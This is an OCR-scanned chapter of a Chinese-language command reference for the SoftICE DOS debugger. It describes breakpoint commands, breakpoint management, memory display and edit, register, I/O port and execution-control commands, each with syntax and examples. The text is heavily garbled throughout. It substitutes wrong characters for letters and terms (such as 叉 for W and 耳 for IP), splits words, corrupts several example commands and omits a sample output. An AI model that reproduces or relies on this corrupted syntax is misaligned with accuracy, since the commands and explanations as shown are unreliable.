除了 中 断 点 指令 外 ,SoftICE 还 有 很 多 实用 指令 ,

如 “显示 及 编辑 类 指令 *“ 转 换 控 制 指令 *“ 调 试 模式

指令 "*“ 公 用 指令 *“ 特 别 的 调试 指令 *“ 视 窗 指令 ?、

“调试 器 设 定 指令 "和 “屏幕 控制 指令 "。 以 后 章节 会 通

过 实例 对 它们 的 使 用 方法 进行 讲解 。 鱼

附录 包括 每 个 命令 的 语法 、 解 释 及 范例 。 所 有 的

数字 均 以 16 进位 表示 。 使 用 到 + - x / 或 暂 存 器

的 数字 均 可 视 为 运算 式 。 所 有 的 命令 都 不 区 分 大 小

写 。 命 令 语 法 叙述 中 的 斜体 字 需 以 真实 的 值 代 替 而 不

是 打 人 和 斜体 字 。

以 下 是 附录 中 所 使 用 的 代号 :

[ ] 一 一 语法 中 非 必用 的 部 分

< > 一 一 可 选用 的 部 分

XIY 一 一 使 用 X 或 Y(XY 择 一 使 用 )

count 指定 断 点 条 件 要 成 立 几 次 才 会

真正 引发 中 断 。 如 果 没 有 设 定 ,内 定 值 是 1 。 每 次 引发

中 断 而 叫 出 Soft -ICE 的 视窗 后 , 记 数 器 自动 回复 为

原先 指定 值 。

Verb

count

指定 在 什么 状况 下 断 点 会 做 用 。R 代表

读 取 ; 叉 代表 写 和 信 ; RW 代表 读 取 及 写 人 ; X 代表 执

行 。

address 一 一 地 址 。 由 两 个 16 位 元 的 字 以 冒号 分

隔 而 组 成 。 第 一 个 字 代 表 区 段 地 址 , 第 二 个 字 代表 差

距 地 址 。 地 址 可 以 由 符号 或 暂 存 器 构成 , 也 可 以 包括

$ 。、@ 等 特殊 符号 。 人 参阅 3. 8 以 取得 更 多 资讯 。

断 点 号 码 是 在 你 修改 断 点

( 即 编辑 、 删除、 重新 启动 、 暂 停 作 用 ) 时 使 用 的 。 它 是

用 来 代表 各 断 点 的 代码 。 断 点 号 码 是 由 0 到 了 。

一 串 由 逗号 或 空白 分 隔 的 断 点 号 码 。

由 1、0、X 所 构成 的 位 元 屏蔽 。X 代表

不 处 理 的 位 元 。

例如 : BPIO 21 叉 EQ M 1XXX XXXX

如 果 21 端口 被 写 人 且 造 成 其 高 位 元 被 设 定 则 会

引发 中 断 。

break -- number

list

mask

一 、 设 置 断 点 命令

而 <

BEM BPMB BPMW BPMD 一 一 在 内 存 地 址 被 存

取 或 执行 时 引发 中 断 。

BPR 一 一 对 内 存 范围 设置 断 点

BPIO 一 一 对 IZ0 端口 存 取 时 触发 中 断

BPINT 一 一 呼叫 中 断 时 触发 中 断

BPX-- 一 设置 / 清除 执行 断 点

CSIP 一 一 CS: 耳 范围 的 检定 判断

BPAND 一 一 等 待 复合 断 点 的 发 生

BPM BPMB BPMW BPMD- 在 内 存 地 址 被 存 取 或 执

行 时 引发 中 断

语法 : BPM [size] address [verb] [qualifier value]

[C = count ]

Size B 、W 、D

B 一 一 byte 字 节 双 一 word 字 D -一 一 Double

word 双 字

size 是 指 断 点 所 涵盖 的 范围 。 举 例 来 说 , 如 果 使

用 的 是 双 字 , 而 其 第 三 个 字 节 被 改变 了 , 就 会 引发 中

断 。 如 果 有 指定 判断 资格 (qualifier) ,size 也 是 很 重要

的 。

verb R 多 RW 或 X

qualifier EQ NE CT LT 、M

EQ 一 一 相等 NE 不 等 GT 一 一 大 于

IT 一 小 于 M 一 -屏蔽

quajlifier 只 有 在 读 写 断 点 才 有 用 到 。

由 断 点 大 小 决定 是 字 节 、 字 或 双 字 的

value

解说 :

BPM 命令 会 在 内 存 读 、 写 或 执行 时 引发 中 断 。

verb 内 定 值 为 RW ; size 内 定 值 为 byte 。

除了 X 外 的 verb 值 会 使 程序 执行 引发 中 断 的 那

段 程序 码 。CS: 了 瑟 所 指 的 是 引发 中 断 的 后 一 行程 序

码 。 如 果 verb 值 是 X ,CS:IP 所 指 的 是 断 点 设置 的 位

置 。

如 果 设 定 的 是 R , 当 内 存 地 址 被 读 取 或 做 没有

改变 的 写 人 时 , 将 引发 中 断 。 如 果 设 定 的 是 R、 叉 、

RW 时 ,指定 的 地 址 被 执行 时 并 不 会 引发 中 断 。

[ 注 ] 如 果 使 用 BPMW , 指定 的 地 址 必须 由 字 边

界 开始 。 如 果 使 用 BPMD, 指定 的 地 址 必须 指向 一 个

双 字 边界 。

[ 例 ] BPM 1234:SI 叉 EQ 10C=3

这 道 命令 设 定 一 个 字 节 的 内 存 存 取 断 点 。 当 10H

第 三 次 写 人 1234:SI 时 将 启动 断 点 。

[ 例 ] BPM CS:1235X

这 道 命令 设 定 一 个 执行 断 点 。 当 CS$: 1235 的 程

序 码 被 执行 时 将 引发 中 断 。 此 时 CS:IP 所 指 的 就 是 断

点 设 定 地 址 。

[ 例 ] BPMW DS:F00 页 EQ M OXXX XXXX XXXX

XXXI1

这 道 命令 设 定 一 个 字 的 内 存 写 和 人 断 点 。 当 DS:

F00 被 写 人 一 个 高 位 元 为 0, 低位 元 为 1( 其 他 位 元 不

考虑 ) 的 资料 时 ,将 引发 中 断 。

[ 例 ) BPM DS:1000 双 GT5

这 道 命令 设 定 一 个 字 节 的 内 存 写 人 断 点 。 当 DS:

_1000 被 写 和 一 个 大 于 5 的 值 时 ,将 引发 中 断 。

BPR 一 一 对 内 存 范围 设置 断 点

语法 : BPR start - adderss end - address 『fverb]

[C = count ]

start - address end - address

始 及 结束 地 址

verb

解说 :

BPM 命令 让 你 对 一 段 内 存 范围 设 断 点 。

除了 T 和 TW 外 的 verb 值 均 会 执行 引发 中 断 的

程序 码 。CS:IP 将 指向 引发 中 断 的 下 一 段 程序 码 。

你 不 能 设 定 执行 的 范围 断 点 。 如 果 想 做 到 执行 的

范围 断 点 必须 使 用 R。

程序 码 的 引出 被 视 为 是 对 范围 断 点 的 读 取 。

如 果 未 指定 verb ,内 定 值 是 双 。

在 某 些 状况 下 , 设 置 范围 断 点 会 降低 系统 的 性

能 。Soft - ICE 将 会 分 析 所 有 对 包括 范围 断 点 的 4K 内

存 的 读 写 动作 。 性 能 的 降低 通常 无 法 察觉 , 但 也 可 能

有 严重 降低 的 例外 。

verb 值 使 用 T 或 TW 将 在 指定 范围 内 可 以 做 回

渊 跟踪 (back trace) 。 它 们 并 不 会 真正 引发 中 断 而 只

是 记录 下 程序 码 的 资料 。 这 个 资料 可 以 用 SHOW 或

TRACE 命令 显示 出 来 。 人 参阅 第 九 章 以 取得 更 多 有 关

回溯 跟踪 的 资讯 。

界定 范围 的 开

R W R IT 或 TVW

[ 例 ] BPR B000:0 B000:1000 鸡

这 道 命令 定义 一 个 内 存 范围 的 断 点 。 任 何 对 单 色

影像 内 存 的 写 人 均 会 引发 中 断 。

BPIO 一 一 对 IZ0 端口 存 取 时 触发 中 断

语法 : BPIO port [verb] [qualifier value] [C =

count ]

port -一 个 字 节 或 字形 态 的 值

verb R 、 允 或 RW。R read (IN ) 驻

一 一 write ( OUT )

dualifier EQ NE CT LT 、M

EQ 一 一 相等 NE 不 等 GT 一 一 大 于

小 于 M 一 一 屏蔽

value 一 个 字 节 或 字形 态 的 值

解说 :

BPIO 命令 会 在 IZ0 端口 读 写 时 引发 中 斯 。

如 果 有 指定 value 值 , 它 将 被 拿 来 和 引发 中 斯 的

IN .OUT 程序 码 所 读 / 写 的 真正 资料 值 做 比较 。value

可 以 是 一 个 字 节 或 字 。 如 果 是 对 一 个 字 节 的 端口 做

IZ0O , 则 是 使 用 较 低 的 8 位 元 来 做 比较 。

CS: 琴 将 会 指向 引发 中 断 的 程序 码 的 后 一 段 程

序 码 。

“如 未 指定 verb ,内定 值 是 RW。

[ 例 ] BPIO 21 双 NEFTF

这 道 命令 定义 一 个 IZO 端口 存 取 断 点 。 如 果 一 号

中 断 控 制 器 的 屏蔽 暂 存 器 被 写 人 除了 FFh 的 外 的 值 ,

将 会 引发 中 断 。

[ 例 ] BPIO 3FE R EQ M 11XX XXXX

这 道 命令 定义 一 个 字 节 的 IZO 端口 读 取 断 点 。

如 果 3FEh I7O 端口 被 读 取 , 上 且 这 个 值 的 二 高 位 元 是

1 时 ,将 会 引发 中 断 。 其 他 位 元 可 以 是 任意 值 。

BPINT 一 一 呼叫 中 断 时 触发 中 断

语法 : BPINT INT -NUMBER [< AL 1IAH1i AX

> = value] [C =count]

由 0 到 FFh 的 中 断 号 码

一 个 字 节 或 字 的 值

int - number

value

解说 :

BPINT 命令 可 以 在 呼叫 重 件 中 断 或 软件 中 断 时

引发 中 断 。 姑 由 指定 AX 暂 存 器 的 值 可 以 轻易 分 离 指

定 的 DOS 或 BIOS 呼叫 。

如 果 没 有 指定 value 值 , 在 呼叫 指定 的 中 断 向 量

时 将 引发 中 断 。 这 个 中 断 可 以 是 硬件 中 世 、 软 件 中 断

或 内 部 中 断 。

选 定 的 value 值 当中 断 发 生 时 将 和 指定 的 暂 存 器

比较 (AH 、\AL 或 AX) 。 如 果 其 值 和 指定 的 暂 存 器 值

相同 时 , 将 引发 中 断 。 断 点 引发 时 , 如 果 是 硬件 中 断 ,

CS: 耻 将 指向 此 中 断 程序 的 第 一 段 程序 码 。 使 用 INT?

命令 可 以 得 知 此 中 断 呼叫 发 生 时 执行 到 哪里 。 如 果 是

软件 中 断 , 则 CS: 耳 将 指向 呼叫 此 中 斯 的 程序 码 。

[ 例 ] BPINT 21 AH =4C

这 道 命 令 定义 一 个 21h 中 断 的 断 点 。 当 DOS 4Cp

函 式 ( 结 束 程 序 ) 被 呼叫 时 将 引发 中 断 。

BPX 一 一 设置 / 清除 执行 断 点

语法 : BPX [aqddress] 「C = count]

解说 :

BPX 命令 让 你 在 原始 程序 中 设置 /清除 执行 断

点 。 如 果 游 标 在 程序 码 窗 中 , 则 不 需要 输入 地 址 ,执行

其 点 将 设置 在 目前 游标 所 在 地 址 。 如 果 目 前 游标 所 在

地 址 已 经 设置 一 个 执行 断 点 , 则 将 清除 此 断 点 。

如 果 程 序 码 窗 是 不 可 见 的 或 游标 未 在 其 中 , 则

必 ! 指定 地 址 。 如 果 只 有 指定 差距 地 址 ,目前 的 CS 值

会 被 当做 节 段 地 址 。

[ 注 ] 除 非 断 点 的 位 置 在 ROM 中 ,不然 BPX 均 使

用 INT 3 的 方式 设置 断 点 。 用 这 样 来 下 代 断 点 暂 存 器

是 为 了 能 设置 更 多 的 断 点 。 如 果 你 的 处 境 因 某 些 原因

必须 使 用 断 点 暂 存 器 (例如 说 程序 码 未 裁 人 ) ,你 可 以

用 BPM 命令 设置 执行 断 点 。

[ 例 ] BPX 。1234

这 道 命令 将 在 原始 程序 第 1234 行 设置 断 点 。

CSP 一 一 CS$: 耳 范围 的 检定 判断

语法 : CSIP [OFF | ENOT] start - address end --

address ]

NOT 一 一 如 果 使 用 NOT, 只 有 当 CS: 下 所 指 超

出 范围 , 才 会 引发 中 断 。

OFT 一 一 停止 对 CS: 耻 的 检定 。

CSIP 命令 会 使 断 点 的 成 立 条 件 由 命令 指标 所 指

地 址 而 定 。 这 个 功能 在 你 怀疑 程序 会 突然 修改 其 范围

的 外 的 程序 码 时 特别 有 用 。

当 断 点 条 件 成 立时 , CS: 耳 暂 存 器 会 被 拿 来 和 指

定 的 范围 做 比较 。 当 其 在 范围 内 时 会 引发 中 断 。 要 在

CS: 了 PP 指 在 范围 外 时 引发 中 断 , 则 需要 用 NOT 参数 。

如 果 没 有 加 参数 则 会 显示 目前 CSIP 的 范围 。

[ 例 ] CSIP NOT F000;0 FFFF;0

这 个 命令 只 有 在 断 点 条 件 成 立 且 CS: 卫 并 未 指

向 ROM BIOS 时 才 会 引发 中 断 。

BPAND 一 一 等 待 复合 断 点 的 发 生

语法 : BPAND list | 炎 | OFF

list 一 串 由 逗号 或 空白 分 开 的 断 点 号 码 。

x* 一 一 复合 所 有 的 断 点 。

解说 :

BPAND 命令 会 对 二 或 多 个 断 点 做 逻辑 的 AND

运算 。 只 有 当 所 有 的 断 点 条

件 均 成 立时 才 会 真正 引发 中 断 。

有 些 情 况 下 你 会 希望 在 许多 不 同 条 件 均 成 立 下

才 引 发 中 断 。BPAND 命令 让 你 指定 二 或 多 个 在 中 断

发 生前 必须 成 立 的 断 点 。 这 个 功能 让 你 可 以 设置 更 复

杂 的 断 点 条 件 。

每 次 使 用 BPAND 命令 均 会 把 指定 的 断 点 号 码 加

人 和 人 名单 中 ,直到 使 用 BPAND OFT 命令 为 止 。

你 可 以 用 BL 命令 列 出 断 点 以 察看 哪些 断 点 号

码 被 复合 在 一 起 。 被 复合 在 一 起 的 断 点 其 断 点 号 码 后

会 有 个 文 。

一 且 断 点 被 复合 后 , 除 非 此 断 点 被 清除 或

BPAND 被 关闭 才 会 中 止 。

[ 例 ] BPAND 0,2,3

这 道 命令 将 复合 0 号 \2 号 .3 号 断 点 。 只 有 当 三

个 的 条 件 均 成 立时 才 会 引发 中 断 。 例 如 :如 果 2 号 和

3 号 的 条 件 均 成 立 一 次 以 上 , 但 0 号 的 条 件 尚未 成

立 , 则 只 有 当 0 号 的 条 件 成 立时 才 会 引发 中 断 。

二 、 处 理 断 点

Soft -ICE 提供 许多 命令 来 处 理 断 点 。 处 理 类 的

命令 可 以 用 来 列 出 、 修 改 、 删 除 、 启 动 和 中 止 断 点 。 断

点 是 以 由 0h 到 而 的 斯 点 号 码 来 识别 的 。 处 理 中 断 点

的 命令 有 :

BD 一 一 中 目 断 点

BE 一 一 启动 断 点

BL 一 一 列 出 断 点

BPE 一 一 编辑 断 点

BFT 一 一 把 断 点 当 样 板

BC 一 一 清除 断 点

BD 一 一 中 止 断 点

语法 : BD list | 大

list 一 串 由 逗号 或 空白 分 开 的 断 点 号 码 。

x 一 一 中 止 所 有 晰 点 。

解说 :

BD 命令 是 用 来 物 时 中 止 断 点 的 活动 的 。 断 点 可

用 BE 命令 (启动 断 点 ) 重 新 启动 。

你 可 以 用 BL 命令 列 出 断 点 以 查看 哪些 断 点 被

中 止 了 。 被 中 止 的 断 点 其 断 点 号 码 后 会 有 一 个 x 。

[ 例 ] BD 1,3

这 道 命 令 会 暂时 中 止 1 号 和 3 号 断 点 。

BE 一 一 启动 断 点

语法 : BE list | 大

list 一 串 由 扣 号 或 空白 分 开 的 断 点 号 码 。

x* 一 一 启动 所 有 断 点 。

解说 :

BE 命令 是 用 来 重新 启动 被 BD 命令 中 目的 断

点 。 当 断 点 第 一 次 定义 时 将 会 自动 启动 。

【 例 ] BE 3

这 道 命令 会 启动 3 号 断 点 。

BIL 一 一 列 出 断 点

语法 :BL

解说 :

BL 命令 会 显示 所 有 目前 设 定 的 断 点 。BL 命令 会

列 出 每 个 断 点 的 断 点 号 码 、 断 点 条 件 、 断 点 状态 和 计

数 。

断 点 的 状态 分 为 启动 和 中 止 。 中 止 的 断 点 其 断 点

号 码 后 会 有 个 x 。 在 BPAND 命令 中 使 用 到 的 启动

的 断 点 其 断 点 号 码 后 面 会 有 个 && 。 最 后 一 个 引发 中

断 的 断 点 会 以 高 亮度 显示 。

BL 命令 没有 参数 。

【 例 ] BL

这 道 命令 会 显示 所 有 定义 的 断 点 。 以 下 列 出 一 个

4 个 断 点 的 例子 :

0) BPMB 1234:0000 观 EQ 0010 C = 03

1) BPR B000:0000 B000:1000 WC=01

2) BPIO 00021 双 NE OOFF C=01

3) BPINT 21 AHE =4C C=01

BPE 一 一 编辑 断 点

语法 : BPE break - number

解说 :

BPE 命令 会 把 断 点 的 叙述 放 到 编辑 行 以 供 修

改 。 然 后 你 可 以 用 编辑 键 重新 编辑 , 按 Enter 重新 输

人 和。 这 个 命令 让 你 可 以 快速 修改 原 有 上 断 点 的 参数 。

[ 例 ] BPE 1

这 道 命令 会 把 1 号 断 点 的 令 述 搬 到 编辑 行 并 清

除 原 1 号 断 点 。 按 Enter 可 以 把 这 个 断 点 重新 输入 。

BPT 一 一 把 断 点 当 样 板

语法 : BPT break - number

解说 :

BPT 命令 会 把 已 存在 的 断 点 氢 述 拿 来 当 新 断 点

的 样板 。

原 存在 的 断 点 叙述 会 被 放 到 编辑 行 去 。 断 点 号 码

所 指 的 断 点 并 没有 任何 改变 。 这 个 命令 让 你 可 以 快速

的 设置 和 原 断 点 相似 的 新 断 点 。

【 例 ] BPT 3

这 道 命令 会 把 3 号 断 点 的 样板 放 和 人 编辑 行 。 当 你

按 下 Enter 后 会 增加 一 个 新 断 点 。

BC 一 一 清除 中 断

语法 : BC list | 大

一 串 由 逗号 或 空白 分 开 的 断 点 号 码 。

x 一 一 局 动 所 有 断 点 。

解说 :

BC 命令 是 用 来 永远 清除 一 个 或 多 个 断 点 的 。

【 例 ] BC

这 道 命令 会 清除 所 有 的 断 点 。

三 .显示 及 编辑 类 命令

命令 :

U 一 一 反 编 译 或 显示 原 程 序 码

R 一 一 显示 或 更 改 暂 存 器

MAP 一 一 显示 系统 内 存 分 布 图

D 一 一 用 最 后 一 次 指定 的 形式 显示 内 存

DB 一 一 以 字 节 的 形式 显示 内 存

DV 一 一 以 字 的 形式 显示 内 存

DD 一 一 以 双 字 的 形式 显示 内 存

E 一 一 用 最 后 一 次 指定 的 形式 编辑 内 存

EB 一 一 以 字 节 的 形式 编辑 内 存

EV 一 一 以 字 的 形式 编辑 内 存

ED 一 一 以 双 字 的 形式 编辑 内 存

INT? 一 一 显示 最 后 一 次 呼叫 的 中 断 号 码

?或 H- 一 显示 辅助 信息

VER 一 一 显示 Soft -ICE 的 版 本 号 码

U 一 一 反 编 译 或 显示 原 程 序 码

语法 : U [address] [L [ = ] length]

lengh 一 一 要 反 编 译 的 程序 码 长 度

解说 :

U 这 个 命令 会 显示 正在 调试 的 程序 的 程序 码 。

如 果 没 有 指定 length ,内 定 值 是 8 行 或 屏幕 长 度

减 一 。

如 果 未 指定 address , 这 个 命令 会 从 最 后 一 次 反

编译 的 后 一 字 节 开 始 反 组 译 。 如 果 从 未 使 用 过 反 编 译

命令 , 则 从 目前 CS: 正 开始 。

如 果 程 序 码 窗 是 可 见 的 , 则 程序 码 会 显示 在 其

jlist

如 果 指 定 的 地 址 范围 的 原始 程序 码 有 载 人 , 由 目

前 的 原始 码 模式 来 决定 是 否 显示 原始 码 。

U 叫 - 10

道 命令 从 目前 地 址 的 前 10h 字 节 开始 反 编

[ 例 ] un 。499

这 道 命令 会 从 499 行 开始 显示 原始 码 。 程 序 码

窗 必 须 是 可 见 的 且 必 须 在 原始 码 模式 。

显示 或 更 改 暂 存 器

语法 : R register -name [ [=]value ]j]

为 下 列 任 一 :

AL AH AX BL BH 、_BX CL CH 、CX 、DL

DH .DX DI SI 、BP SP 、 了 了 CS 、DS ES

SS 、 或 开

value

register 一 name 一

如 果 register -name 不 是 FL ,value

是 个 16 进位 值 或 运 云 算式 。 若 register -~ name 为 了 L,

value 下 列 旗号 符号 一 或 多 个 的 组 合 。 旗 号 符号 可 视

需要 在 前 面 加 上 + 或 -

O Overflow flag 溢 位 旗号

D 一 一 Direcrion flag 方向 旗号

Interrupt fag 中 其 旗号

S 一 一 Sign flag 正 负 号 旗号

Z Zero flag 零 值 旗号

人 Auxiliary carry flag 辅助 进位 旗号

了 Parity flag 极 性 旗号

C 一 一 Carry flag 进位 旗号

R 命令 是 用 来 显示 或 更 改 暂 存 器 的 值 的 。

如 果 没 有 指定 参数 会 显示 所 有 和 暂 存 器 和 旗号 的

值 及 目前 CS$: 了 PP 的 程序 码 。

如 果 仅 指定 register -name 而 未 加 value , 则

Soft -ICE 会 显示 指定 暂 存 器 现在 的 值 并 提示 你 输入

新 值 。 如 果 register - name 是 FL ,目前 设置 的 旗号 会

以 高 亮度 大 写 显 示 ; 未 设置 的 旗号 则 用 普通 小 写 显

示 。 要 维持 现在 暂 存 器 的 值 ,直接 按 Enter 。

如 果 register - name 和 value 均 有 指定 , 则 指定 的

暂 存 器 的 值 将 被 改 成 value 。

想 要 改变 旗号 的 值 , 把 fL 当 register -name , 后

接 你 , 想 切换 的 旗号 符号 。

如 果 要 设置 某 旗 号 ,在 旗号 符号 前 加 上 + 。 要 关

闭 某 旗号 , 则 在 旗号 符号 前 加 上 一 个 - 。 旗 号 可 以 按

任何 顺序 排列 。

[ 例 ]R AH 5

这 道 命令 会 把 AH 暂 存 器 的 值 改 成 5 。

[ 例 ]RE = 0ZP

这 道 命令 会 切换 0 .Z .了 旗号 的 值 。

R FL

道 命令 会 显示 目前 旗号 的 值 并 让 你 可 以 修改

RELO +A -C

道 命令 会 切换 0 旗号 , 设 置 A 旗号 并 关闭 5

芭 ,

MA

语法 : MAP

解说 :

MAP 命令 显示 各 内 存 部 分 的 名 称 、

小 。 大 小 是 以 页 来 计算 的 。 一

页 等 于 10h byte 。

CS:IP 所 指 的 部 分 会 以 高 亮度 显示 。

使 用 MAP 命令 的 时 机 :

大 断 点 发 生 时 指向 未 知 的 内 存 区 段 。

x 你 想 控制 常 驻 程 序 或 系统 程序 。 你 可 以 根据

MAP 命令 所 显示 的 开始 地 址 汉 大 小 来 设置 范围 断

x 你 怀疑 程序 或 系统 在 其 内 存 空 间 的 外 写 但 。

MAP 命令 可 用 来 找 出 此 区 段 的 内 存 地 址 以 便 在 CSIP

中 使 用 。

x 你 必须 找 出 哪个 常 驻 程 序 拥有 目前 的 中 断 向

位 置 和 大

时 o

【 例 ] MAP

以 下 是 这 道 命令 显示 的 范例 :

ee

若 DOS 的 版 本 低 于 3. 1, 将 显示 程序 的 地 址 而 非

其 程序 名 称 。

D DB DW DD 一 一 显示 内 存

语法 : D [size] [address] [L [=]lengtpn ]

B 一 byte 太 一 一 word D doubjle

SlZe

Word

length 一 一 要 显示 儿 字 布 。

解说 : .

D 这 个 命令 会 显示 指定 地 址 的 内 存 内 容 。

内 存 内 容 是 以 指定 的 size 的 形式 显示 。 如 果 没 有

彰 定 size ,会 以 最 后 一 次 使 用 的 size 来 显示 。 所 有 的

形式 均 会 显示 ASCII 码 。

如 果 未 指定 address , 则 由 前 一 次 显示 的 最 后 一

字 节 的 后 一 字 节 开始 显示 。

如 果 没 有 指定 length ,内 定 值 是 8 行 或 因 视 窗 较

小 而 少 一 些 。

若 资料 窗 是 可 见 的 , 则 资料 会 显示 在 资料 窗 且

length 会 被 忽略 。

[ 例 ]DW DS:00L=8

这 道 命令 会 以 字 和 ASCII 的 形式 显示 目前 资料

节 段 的 前 8 字 市 。

E EB EW ED 一 一 以 字 节 的 形式 编辑 内 存

语法 : 卫 [size] address [data - list]

B 一 一 byte 叉 word D

SlZe

double

word

data - jist 一 串 指定 的 size 的 资料 ,( 字 节 、

字 或 双 字 ) 或 以 有 逗号、 空白 分 隔 的 加 引号 字符 串 。 加 引

号 的 字符 串 可 以 使 用 单 引 号 或 双 引 号 。

解说 :

命令 显示 指定 地 址 的 内 存 内 容 并 让 你 编辑 其

值 。

这 个 命令 以 ASCI 的 形态 显示 内 存 内 容 , 并 且 是

以 指定 的 size 形态 。

内 存 编辑 器 让 你 可 以 快速 地 更 新 内 存 。 你 可 以 键

人 ASCI 字 元 或 打 人 位 元 组 、 字 、 双 字 的 值 以 编辑 内

存 。 如 果 没 有 指定 size, 以 最 后 一 次 使 用 的 size 为 准 。

以 下 是 内 存 编辑 的 按键 :

一 一 游标 上 移

一 一 游标 下 移

一 一 游标 右 移

一 一 游标 左 移

SPACE 一 一 游标 移 至 下 一 个 元 素 上

TAB 一 一 在 数字 区 和 ASCII 区 间 切 换

ESC 或 Enter 离开 内 存 编辑 器

在 你 输入 资料 的 时 候 , 真正 内 存 上 的 值 也 随 之 更

新 。 所 有 的 数字 值 都 是 以 16 进位 表示 。 按 Tab 键 可 以

在 数字 区 和 ASCII 区 间 切 换 。

如 果 资 料 窗 是 可 见 的 , 则 在 其 中 修改 资料 ; 否则

在 命令 窗 中 修改 。

资料 显示 的 长 度 ,在 命令 窗 中 内 定 为 8 行 。 如 果

资料 窗 是 可 见 的 , 则 和 资料 窗 同 大 小 。

如 果 未 加 参数 且 资 料 窗 是 可 见 的 , 则 游标 会 移 到

资料 窗 中 。 若 资料 窗 是 不 可 见 的 , 则 在 命令 窗 中 由 最

后 一 次 显示 或 编辑 的 地 址 开始 进行 编辑 。

[ 例 ] EB 1000:0

这 道 命 令 由 1000: 0000 开始 , 以 字 节 的 形态 , 用

数字 和 ASCI 字 元 显示 资料 的 值 。 你 可 以 编辑 这 些 显

示 出 来 的 值 。

[【 例 ] EB 8000:0“HELLO”,0D

这 道 命令 把 从 8000:0000 开始 的 值 以 HELLO 字

符 串 和 一 个 归 位 字 元 代替 。

INT? 一 一 显示 最 后 一 次 呼叫 的 中 断 号 码

语法 : INT?

解说 ;

INT? 命令 显示 最 后 一 次 发 生 的 中 断 号 码 及 其 地

址 。

[ 例 ] INT?

以 下 是 INT? 显示 结果 的 例子 :

Last Interrupt: 16

At: 0070:0255

这 个 例子 显示 在 Soft - ICE 视窗 被 叫 出 的 前 , 系

统 最 后 一 次 呼叫 的 是 16h 中 断 ,地址 在 0070:0255 。

如 果 最 后 一 次 中 断 是 个 软件 中 断 , 从 0070:0255 做 反

编译 会 显示 此 中 断 的 程序 码 。 若 是 个 硬件 中 断 , 反 编

译 则 会 显示 中 断 发 生 时 所 执行 的 程序 码 。

? 或 了 一 一 显示 辅助 信息

语法 : < ? 1 也 > [command | expression]

解说 :

? 和 也 命令 两 者 均 会 显示 辅助 信息 。

如 果 未 指定 参数 将 会 一 次 一 个 屏幕 的 显示 所 有

命令 和 运算 子 的 简单 解说 。 按 任意 键 以 继续 显示 或 按

ESC 键 离开 辅助 说 明 。

若 有 指定 参数 则 会 显示 包括 命令 语法 及 范例 的

详尽 说 明 。

如 果 加 上 运算 式 , 则 会 计算 并 以 16 进位 、10 进

位 及 ASCII 字 元 显示 其 结果 。

[ 例 ] ? ALTKEY

这 道 命令 会 显示 包括 ALTKEY 命令 的 语法 及 范

人 鲍 的 资料 。

[ 例 ] 了 10 + 14 大 2

这 道 命令 会 显示 : 0038 00056 “8”。 这 是 10+

14x2 的 16 进位 、10 进位 值 及 ASCII 字 元 。

VER 显示 Soft -ICE 的 版 本 号 码

语法 : VER

【 例 ] VER

这 道 命 令 会 显示 Soft -ICE 的 版 本 及 Nu - Mega

的 版 权 信息 。

四 IZO 端口 命令

IVW 一 一 由 字 IZO 端口 输入

0 、OB 一 一 由 字 节 IZ0 端口 输出

0WV 一 一 由 字 IZ0 端口 输出

TI JIJB JIVW 一 一 由 IO 端口 输入

语法 : I [size] port

Size double

B 一 一 byte 叉 一 一 word D

word

前 个 戈 子 的 人

解说 :

这 个 由 端口 输入 的 命令 是 用 来 读 取 及 显示 硬件

端口 的 值 的 。 你 可 以 从 字 节 或 字 组 端口 输入 。 如 采 没

有 指定 size, 内 定 值 是 字 节 。

【 例 ] 21

这 道 命令 是 显示 一 号 中 断 控 制 器 的 屏蔽 暂 存 器

的 值 。

0 、.OB 、0V 一 一 由 字 IZO 端口 输出

语法 : O [size] port value

size B 一 一 byte 双 word D double

Word

por 一 一 一 个 字 节 或 字 的 值

value 位 元 端口 为 一 字 节 值 ; 字 端 口 为 一 字

解说 :

对 端口 输出 的 命令 是 用 来 对 硬件 端口 写 值 的 。 你

可 以 对 字 节 端口 或 字 端口 做 输出 , 如 果 没 有 指定

size, 内 定 值 是 字 闻 。

[ 例 ] 0 21 FF

这 道 命令 会 屏蔽 住 一 号 中 断 控 制 器 的 所 有 中

断 。

五 、 转 换 控制 命令

命令 :

X 一 一 离开 Soft -ICE 的 视窗

G 一 一 执行 到 某 地 址

T 一 一 坚 踪 一 道 程 序 码

P 一 一 单 步 执行 程序

HERE 一 一 执行 到 目前 游标 那 行

GENINT-- 一 强制 某 一 中 断

EXIT 一 一 强制 离开 目前 的 DOS 程序

BO00T 一 一 载 人 系统 (保留 Soft -ICE )

HBO0OT 一 一 硬件 系统 载 人 《完全 重 设 )

X- 离开 Soft -ICE 的 视窗

语法 : 愉

解说 : X 命令 会 离开 Soft - ICE 视窗 并 恢复 因 叫

出 Soff -ICE 而 中 断 的 程序 的 控制 权 。Soft - ICE 视窗

会 消失 。 如 果 有 设置 任何 断 点 , 它 将 被 启动 。

G 一 一 执行 到 某 地 址

j 语法 : G [ =staer -address] [break - address ]

解说 :

G 命令 会 离开 Soft -ICE 视窗 并 设置 一 个 只 用

一 次 的 执行 断 点 。 除 此 的 外 , 所 有 的 sticky 断 点 也 会

被 启动 。

车 有 指定 start - address 参数 ,将 从 start - address

开始 执行 ;否则 会 从 目前 的 CS :下 开始 执行 。 程 序 将

一 直 执 行 ,直到 达到 break - address、 使 用 了 叫 出 视窗

的 热 键 或 sticky 断 点 发 生 才 会 停止 。

break - address 必须 是 一 道 程 序 码 的 第 一 字 节 。

当 达 到 指定 的 break - address 时 ,CS: 王将 指 疝

设置 断 点 的 位 置 。

未 加 参数 的 G 命令 和 命令 有 相同 的 作用 。

除非 所 有 的 断 点 暂 存 器 都 被 sticky 断 点 占 满 了 ,

不 然 non - sticky 中 断 点 会 使 用 80386 断 点 暂 存 器 。

在 这 种 状况 下 , 断 点 将 会 使 用 INT 3 方式 。 这 种 情形

下 ,在 ROM 中 G 或 了 命令 将 无 法 正常 工作 。 如 果 你

尝试 这 样 做 将 会 显示 出 错误 信息 。

[ 例 ] G CS:1234

这 道 命令 将 在 CS: 1234 设置 一 个 只 用 一 次 的 执

行 断 点 。

T 一 一 跟踪 一 道 程序 码

语法 :T[ =start -address] [count]

解说 :

T 命令 使 用 单 步 旋 导 以 单 步 执行 一 道 程 序 码 。

如 果 没 有 指定 start - address ,将 从 目前 的 CS : 卫

开始 执行 。 若 有 指定 start - address , 则 CS:IP 将 指 辐

start - address 以 进行 单 步 执 行 。

如 果 有 指定 count ,Soft -ICE 将 单 步 执行 count

次 。TRACE 命令 将 持续 执行 直到 count 为 零 或 按 了

ESC 键 ,而 不 管 是 否 有 上 断 点 发 生 。

